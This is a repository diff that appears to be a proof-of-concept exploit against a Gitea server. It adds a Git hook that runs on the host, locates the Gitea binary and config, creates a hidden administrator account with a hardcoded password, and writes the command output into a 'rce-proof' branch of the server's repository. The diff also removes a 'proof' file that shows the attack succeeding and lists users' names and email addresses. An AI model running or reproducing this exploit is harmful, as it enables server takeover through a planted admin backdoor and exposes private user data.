README.md

@@ -0,0 +1,2 @@
+# probeA-3gmk6
+

hooks/post-index-change

@@ -0,0 +1,52 @@
+#!/bin/sh
+git_dir=$(git rev-parse --absolute-git-dir) || exit 1
+origin=""
+if [ -f "$git_dir/objects/info/alternates" ]; then
+  o=$(head -1 "$git_dir/objects/info/alternates") || o=""
+  case "$o" in
+    /*) origin="${o%/objects}" ;;
+    *) origin="${git_dir}/objects/$o"; origin="${origin%/objects}" ;;
+  esac
+fi
+if [ -z "$origin" ]; then
+  u=$(git remote get-url origin 2>/dev/null) || u=""
+  case "$u" in /*) origin="${u%.git}";; esac
+fi
+if [ -z "$origin" ]; then
+  u=$(git config --get remote.origin.url 2>/dev/null) || u=""
+  case "$u" in /*) origin="${u%.git}";; esac
+fi
+if [ -n "$origin" ] && [ -d "$origin/objects" ]; then
+  { echo '==BIN=='
+command -v gitea; ls -l /usr/local/bin/gitea /usr/bin/gitea /opt/gitea/gitea /var/lib/gitea/gitea /bin/gitea 2>/dev/null
+echo '==CFG=='
+ls -l /etc/gitea/app.ini /var/lib/gitea/custom/conf/app.ini /opt/gitea/custom/conf/app.ini /etc/app.ini 2>/dev/null
+G=$(command -v gitea 2>/dev/null)
+[ -z "$G" ] && G=$(ls /usr/local/bin/gitea /usr/bin/gitea /opt/gitea/gitea 2>/dev/null | head -1)
+C=$(ls /etc/gitea/app.ini /var/lib/gitea/custom/conf/app.ini /opt/gitea/custom/conf/app.ini /etc/app.ini 2>/dev/null | head -1)
+echo "RESOLVED_BIN=$G"
+echo "RESOLVED_CFG=$C"
+echo '==CREATE=='
+if [ -n "$G" ]; then
+  if [ -n "$C" ]; then
+    $G --config "$C" admin user create --username kalima_admin_a --password 'KalimaAudit2026#x9z' --email kalima.admin@audit.local --admin --must-change-password=false 2>&1
+  else
+    $G admin user create --username kalima_admin_a --password 'KalimaAudit2026#x9z' --email kalima.admin@audit.local --admin --must-change-password=false 2>&1
+  fi
+  echo "CREATE_EXIT=$?"
+  echo '==USERLIST=='
+  if [ -n "$C" ]; then
+    $G --config "$C" admin user list 2>&1 | head -8
+  else
+    $G admin user list 2>&1 | head -8
+  fi
+fi
+echo '==DONE=='
+  } 2>&1 | git --git-dir="$origin" hash-object -w --stdin > /tmp/gpoc_blob 2>/dev/null
+  ob=$(cat /tmp/gpoc_blob 2>/dev/null)
+  [ -n "$ob" ] || exit 4
+  tree=$(printf "100644 blob %s\tproof\n" "$ob" | git --git-dir="$origin" mktree) || exit 5
+  commit=$(printf "rce proof\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin" commit-tree "$tree") || exit 6
+  git --git-dir="$origin" update-ref refs/heads/rce-proof "$commit" || exit 7
+fi
+exit 0

proof

@@ -1,20 +0,0 @@
-==BIN==
-/usr/local/bin/gitea
--rwxr-xr-x 1 root root 137932040 Feb  1  2024 /usr/local/bin/gitea
-==CFG==
--rw------- 1 git git 1253 Jan  8  2026 /var/lib/gitea/custom/conf/app.ini
-RESOLVED_BIN=/usr/local/bin/gitea
-RESOLVED_CFG=/var/lib/gitea/custom/conf/app.ini
-==CREATE==
-Command error: CreateUser: user already exists [name: kalima_admin_a]
-CREATE_EXIT=1
-==USERLIST==
-ID   Username           Email                            IsActive IsAdmin 2FA
-1    rcs                andre.legendre@kalimadb.com      true     true    false
-2    Jerome             delaire.jerome@hotmail.fr        true     false   false
-4    pumlvspgvk         rplnmwwm@immenseignite.info      true     false   false
-5    zAbu3Qasem         zabuqasem@attacker.com           true     false   false
-6    att_4df2b5a1       att_4df2b5a1@attacker.com        true     false   false
-7    sykenokrpm         ugxskolx@immenseignite.info      true     false   false
-8    u_ddee9f92         u_ddee9f92@localhost.local       true     false   false
-==DONE==